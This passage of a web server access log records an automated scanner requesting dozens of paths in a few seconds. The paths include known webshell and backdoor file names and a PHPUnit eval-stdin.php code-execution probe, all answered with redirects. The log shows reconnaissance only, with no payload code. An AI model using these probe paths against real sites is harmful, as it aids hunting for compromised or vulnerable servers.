/wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:52 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:52 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:53 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:54 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:54 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:54 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:21:54 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:54 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:51 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:55 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:55 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 